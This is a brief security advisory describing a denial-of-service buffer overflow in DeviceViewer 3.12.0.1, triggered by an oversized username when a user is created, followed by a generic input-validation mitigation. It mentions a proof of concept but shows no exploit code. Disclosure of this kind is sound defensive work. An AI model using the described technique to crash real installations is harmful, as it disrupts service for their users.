DeviceViewer 3.12.0.1 – ‘creating user’ DOS buffer overflow

DeviceViewer 3.12.0.1 is vulnerable to a buffer overflow attack when creating a new user. An attacker can generate a malicious payload via the POC and set the username to the malicious payload when creating a new user. This will cause the program to crash.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in the application.
